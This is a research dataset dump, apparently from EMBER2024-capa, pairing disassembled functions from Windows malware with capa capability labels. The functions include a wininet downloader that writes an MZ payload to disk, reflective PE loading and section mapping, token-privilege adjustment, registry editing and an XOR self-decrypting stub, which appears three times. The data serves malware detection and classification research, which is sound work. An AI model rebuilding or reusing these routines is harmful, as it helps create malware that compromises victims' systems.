joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006b70
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x30c
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x111]
mov byte [esp + 0x110], 0
mov esi, str.CTXOPConntion_Class
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 5
lea edi, [esp + 0xc]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x20]
mov byte [esp + 0x214], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x215]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov ebp, eax
test ebp, ebp
je 0x10006cf0
mov esi, str.CTXOPConntion_Class
lea eax, [esp + 0xc]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x10006c0d
test cl, cl
je 0x10006c09
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x10006c0d
add eax, 2
add esi, 2
test cl, cl
jne 0x10006be9
xor eax, eax
jmp 0x10006c12
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10006ccc
lea eax, [esp + 0xc]
push 0x104
push eax
push ebp
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov al, byte [esp + ecx + 0xb]
dec ecx
cmp al, 0x5f
jne 0x10006c39
lea edi, [esp + ecx + 0xd]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x214]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x110]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x214]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x110]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x10015b00
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 2
push ebp
call dword [sym.imp.USER32.dll_GetWindow]
mov ebp, eax
lea eax, [esp + 0xc]
push 0x104
push eax
push ebp
call dword [sym.imp.USER32.dll_GetClassNameA]
test ebp, ebp
jne 0x10006be0
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x110]
push ecx
call fcn.10006af0
lea edi, [esp + 0x114]
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
pop esi
cmp ecx, 4
pop ebp
lea eax, [esp + 0x104]
ja 0x10006d2c
mov eax, str.NULL
add esp, 0x30c
ret
Function at 0x10006eb0
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x49c
push ebx
push ebp
push esi
push edi
push str.Jklmno
lea eax, [esp + 0x2ac]
push str.SYSTEMCurrentControlSetServices_s
push eax
mov byte [esp + 0x78], 0xc8
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 8
xor eax, eax
lea edi, [esp + 0x79]
add esp, 0xc
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x6d]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [esp + 0x75]
push 0
push edx
push 1
lea eax, [esp + 0x2bc]
push str.Group
push eax
push connect
call fcn.10008e70
mov ebx, dword [esp + 0x4d0]
xor ecx, ecx
mov dword [esp + 0x3c], ecx
add esp, 0x20
mov dword [esp + 0x20], ecx
lea edx, [esp + 0x10]
mov dword [esp + 0x24], ecx
lea eax, [esp + 0x1c]
mov dword [esp + 0x28], ecx
mov ecx, dword [ebx + 0x4c]
push edx
push eax
push ecx
mov dword [esp + 0x1c], 0x10
call dword [0x1001821c]
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2a8]
push eax
lea ecx, [esp + 0x98]
push 0x32
push ecx
mov dword [esp + 0x9c], edx
call fcn.10006810
add esp, 0xc
lea edx, [esp + 0xdc]
mov dword [esp + 0xdc], 0x9c
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [esp + 0xe8]
lea ecx, [esp + 0xe4]
push eax
lea edx, [esp + 0xe4]
push ecx
push edx
call fcn.10006e60
call fcn.100069c0
test eax, eax
lea ecx, [esp + 0x190]
setne al
push ecx
mov byte [esp + 0x1b0], al
call fcn.100067a0
add esp, 0x10
call fcn.10006b70
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0x202]
push eax
push edx
call ebp
call fcn.10006dd0
lea edx, [esp + 0x1da]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
mov dword [esp + 0x224], 0
push ecx
mov dword [esp + 0x18], 8
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esp + 0x18]
cmp eax, 0x2bf20
jbe 0x10007043
mov dword [esp + 0x224], 1
lea edx, [esp + 0x2c]
mov dword [esp + 0x2c], 0x40
push edx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x34]
mov edx, dword [esp + 0x38]
mov ecx, 0x14
call fcn.10009400
mov dword [esp + 0x1a4], eax
mov eax, dword [esp + 0x4b4]
mov dword [esp + 0x198], eax
call fcn.10006640
mov dword [esp + 0x19c], eax
call fcn.10006a90
lea ecx, [esp + 0xc6]
push eax
push ecx
call ebp
lea edx, [esp + 0x228]
push 0x80
push edx
push str.RDP_Tcp
call fcn.10006d40
lea eax, [esp + 0x1b4]
push 0x32
lea ecx, [esp + 0x3bc]
push eax
push ecx
call fcn.10006a10
add esp, 0x18
lea edx, [esp + 0x6c]
mov ecx, ebx
push 0x23c
push edx
call fcn.10001a20
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x49c
ret
Function at 0x10007650
Capabilities:
Parse pe header

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
cmp word [eax], 0x5a4d
push edi
je 0x10007668
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov edi, dword [eax + 0x3c]
add edi, eax
mov dword [esp + 0x10], edi
cmp dword [edi], 0x4550
je 0x10007681
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [edi + 0x50]
mov ecx, dword [edi + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push eax
push ecx
call esi
mov ebp, eax
test ebp, ebp
jne 0x100076b8
mov edx, dword [edi + 0x50]
push 4
push 0x2000
push edx
push eax
call esi
mov ebp, eax
test ebp, ebp
jne 0x100076b8
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
xor eax, eax
push 4
push 0x1000
mov dword [ebx + 4], ebp
mov dword [ebx + 0xc], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0x10], eax
mov eax, dword [edi + 0x50]
push eax
push ebp
call esi
mov ecx, dword [edi + 0x54]
push 4
push 0x1000
push ecx
push ebp
call esi
mov esi, dword [esp + 0x18]
mov edx, dword [edi + 0x54]
mov edi, eax
push ebx
mov ecx, dword [esi + 0x3c]
add ecx, edx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
mov esi, dword [esp + 0x14]
push esi
push ecx
mov edx, dword [ecx + 0x3c]
add eax, edx
mov dword [ebx], eax
mov dword [eax + 0x34], ebp
call fcn.100077a0
mov ecx, dword [esi + 0x34]
mov eax, ebp
add esp, 0xc
sub eax, ecx
je 0x10007741
push eax
push ebx
call fcn.10007930
add esp, 8
push ebx
call fcn.100079b0
add esp, 4
test eax, eax
je 0x10007771
push ebx
call fcn.10007870
mov eax, dword [ebx]
add esp, 4
mov eax, dword [eax + 0x28]
test eax, eax
je 0x10007789
add eax, ebp
test eax, eax
je 0x10007771
push 0
push 1
push ebp
call eax
test eax, eax
jne 0x10007782
push ebx
call fcn.10007b90
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov dword [ebx + 0x10], 1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
ret
Function at 0x100077a0
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
push ebp
xor ecx, ecx
mov ebp, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 8], 0
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea ebx, [ecx + eax + 0x18]
jbe 0x10007861
push esi
push edi
add ebx, 0x10
cmp dword [ebx], 0
jne 0x1000780b
mov edx, dword [esp + 0x1c]
mov esi, dword [edx + 0x38]
test esi, esi
jle 0x1000783f
mov eax, dword [ebx - 4]
push 4
push 0x1000
add eax, ebp
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x1000783f
mov ecx, dword [ebx - 4]
mov eax, dword [ebx]
push 4
push 0x1000
add ecx, ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx]
mov esi, dword [ebx + 4]
mov edi, dword [esp + 0x18]
mov edx, ecx
add esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebx - 8], eax
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add ebx, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x100077ce
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x10007870
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
xor ecx, ecx
push ebp
mov ebx, dword [eax]
xor ebp, ebp
mov cx, word [ebx + 0x14]
cmp word [ebx + 6], bp
lea eax, [ecx + ebx + 0x18]
jbe 0x10007924
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x100078c7
mov edx, dword [edi - 0x14]
mov eax, dword [edi - 0x1c]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1000790a
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov edx, dword [edx*4 + 0x100169e4]
je 0x100078de
or dh, 2
mov ecx, dword [edi - 0x14]
test ecx, ecx
jne 0x100078f7
test al, 0x40
je 0x100078ee
mov ecx, dword [ebx + 0x20]
jmp 0x100078f5
test al, 0x80
je 0x1000790a
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x1000790a
lea eax, [esp + 0x10]
push eax
push edx
push ecx
mov ecx, dword [edi - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x18]
xor eax, eax
inc ebp
add edi, 0x28
mov ebx, dword [edx]
mov ax, word [ebx + 6]
cmp ebp, eax
jl 0x10007894
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x100087d0
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov edx, dword [esp + 0x2c]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x28]
push edx
mov edx, dword [esp + 0x20]
lea ecx, [esp + 8]
push eax
mov eax, dword [esp + 0x20]
push ecx
push 0x10008750
push edx
push eax
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov ecx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x10008840
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
xor ecx, ecx
test esi, esi
jle 0x10008860
mov dl, byte [ecx + eax]
sub dl, 0x31
xor dl, 0xfc
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x1000884f
pop esi
ret

Function at 0x10008870
Capabilities:
Enumerate processes

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov ebx, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
push esi
push ebx
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x100088df
mov ebp, dword [esp + 0x14]
lea edi, [esi + 0x24]
push ebp
push edi
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
jne 0x100088bd
mov eax, dword [esi + 8]
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x100088df
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x100088b5
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100088c8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x100088f0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10010520
push 0x100093f6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x130
push ebx
push esi
push edi
push str.user32.dll
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call ebx
mov edi, eax
mov dword [ebp - 0x2c], edi
push str.GetThreadDesktop
push edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x3c], eax
push str.GetUserObjectInformationA
push edi
call esi
mov dword [ebp - 0x20], eax
push str.SetThreadDesktop
push edi
call esi
mov dword [ebp - 0x140], eax
push str.CloseDesktop
push edi
call esi
mov dword [ebp - 0x38], eax
push str.kernel32.dll
call ebx
mov ebx, eax
mov dword [ebp - 0x30], ebx
push str.GetCurrentThreadId
push ebx
call esi
call eax
push eax
call dword [ebp - 0x3c]
mov esi, eax
mov dword [ebp - 0x28], 1
mov dword [ebp - 4], 0
lea eax, [ebp - 0x34]
push eax
push 0x100
lea ecx, [ebp - 0x13c]
push ecx
push 2
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 0x20]
test eax, eax
jne 0x100089a9
mov dword [ebp - 0x28], eax
jmp 0x100089c0
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x140]
test eax, eax
jne 0x100089bc
mov dword [ebp - 0x28], eax
jmp 0x100089c0
push esi
call dword [ebp - 0x38]
mov dword [ebp - 4], 0xffffffff
call fcn.100089e6
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10008b10
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x418
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebx, 1
push str.wininet.dll
mov dword [esp + 0x18], edi
mov dword [esp + 0x24], edi
mov byte [esp + 0x17], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.InternetOpenA
push esi
call ebp
push edi
push edi
push edi
push edi
push str.MSIE_6.0
call eax
mov edi, eax
test edi, edi
mov dword [esp + 0x24], edi
je 0x10008b83
push str.InternetOpenUrlA
push esi
call ebp
mov ecx, dword [esp + 0x42c]
push 0
push connect
push 0
push 0
push ecx
push edi
call eax
test eax, eax
mov dword [esp + 0x18], eax
jne 0x10008b9b
test esi, esi
je 0x10008b8e
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x418
ret
mov edx, dword [esp + 0x430]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x1c], eax
je 0x10008c34
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x28]
push str.InternetReadFile
rep stosd dword es:[edi], eax
push esi
call ebp
lea ecx, [esp + 0x14]
lea edx, [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x1c]
push 0x400
push edx
push ecx
call eax
test ebx, ebx
je 0x10008bf9
cmp word [esp + 0x28], 0x5a4d
jne 0x10008c20
mov eax, dword [esp + 0x14]
xor ebx, ebx
lea edx, [esp + 0x20]
push ebx
push edx
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x30]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x14]
test eax, eax
jbe 0x10008c25
jmp 0x10008bc1
mov byte [esp + 0x13], 0
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x24]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push esi
call ebp
mov ecx, dword [esp + 0x18]
mov ebx, eax
push ecx
call ebx
push edi
call ebx
test esi, esi
je 0x10008c5b
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, byte [esp + 0x13]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x418
ret
Function at 0x10008c70
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x24
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.ADVAPI32.dll
mov byte [esp + 0x18], 1
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.OpenProcessToken
push edi
call esi
push str.AdjustTokenPrivileges
push edi
mov ebx, eax
call esi
push str.LookupPrivilegeValueA
push edi
mov dword [esp + 0x24], eax
call esi
push str.kernel32.dll
mov dword [esp + 0x1c], eax
call ebp
push str.GetCurrentProcess
push eax
mov dword [esp + 0x28], eax
call esi
lea ecx, [esp + 0x10]
push ecx
push 0x28
call eax
push eax
call ebx
test eax, eax
jne 0x10008cde
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
neg edx
lea eax, [esp + 0x28]
mov dword [esp + 0x24], 1
sbb edx, edx
push eax
and edx, 2
push ecx
push 0
mov dword [esp + 0x3c], edx
call dword [esp + 0x24]
mov eax, dword [esp + 0x10]
push 0
push 0
lea edx, [esp + 0x2c]
push 0x10
push edx
push 0
push eax
call dword [esp + 0x34]
push str.KERNEL32.dll
call ebp
push str.GetLastError
push eax
call esi
call eax
test eax, eax
je 0x10008d35
mov byte [esp + 0x14], 0
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je 0x10008d4d
push edi
call esi
mov eax, dword [esp + 0x20]
test eax, eax
je 0x10008d58
push eax
call esi
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
and eax, 0xff
pop ebx
add esp, 0x24
ret
Function at 0x10009110
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10010550
push 0x100093f6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push esi
push edi
mov dword [ebp - 0x20], 0
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
mov dword [ebp - 0x38], edi
push str.RegCreateKeyExA
push edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x2c], eax
push str.RegSetValueExA
push edi
call esi
mov dword [ebp - 0x34], eax
push str.RegDeleteKeyA
push edi
call esi
mov dword [ebp - 0x1c], eax
push str.RegDeleteValueA
push edi
call esi
mov dword [ebp - 0x40], eax
push str.RegOpenKeyExA
push edi
call esi
mov ebx, eax
push str.RegCloseKey
push edi
call esi
mov dword [ebp - 0x30], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.0x100091ff.3
jmp dword [eax*4 + 0x100092c8]
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x3c]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x2c]
test eax, eax
jne case.0x100091ff.3
lea ecx, [ebp - 0x3c]
push ecx
push 0x2001f
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call ebx
test eax, eax
jne case.0x100091ff.3
mov ebx, dword [ebp + 0x14]
lea eax, [ebx - 1]
cmp eax, 6
ja case.0x100091ff.3
jmp dword [eax*4 + 0x100092d8]
mov esi, dword [ebp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push esi
jmp 0x1000921b
push 4
lea eax, [ebp + 0x1c]
push eax
push ebx
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x3c]
push edx
call dword [ebp - 0x34]
test eax, eax
jne case.0x100091ff.3
jmp 0x10009281
lea eax, [ebp - 0x3c]
push eax
push 0x2001f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call ebx
test eax, eax
jne case.0x100091ff.3
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x3c]
push ecx
call dword [ebp - 0x1c]
test eax, eax
jne case.0x100091ff.3
jmp 0x10009281
lea edx, [ebp - 0x3c]
push edx
push 0x2001f
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call ebx
test eax, eax
jne case.0x100091ff.3
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x3c]
push eax
call dword [ebp - 0x40]
test eax, eax
jne case.0x100091ff.3
mov dword [ebp - 0x20], 1
mov dword [ebp - 4], 0xffffffff
call fcn.100092b6
test edi, edi
je 0x1000929f
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10009300
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1000931e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x1000931e
xor eax, eax
ret
mov eax, 1
ret
Function at 0x4125ec
Capabilities:
Terminate process

Disassembly:
call fcn.004125f9
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx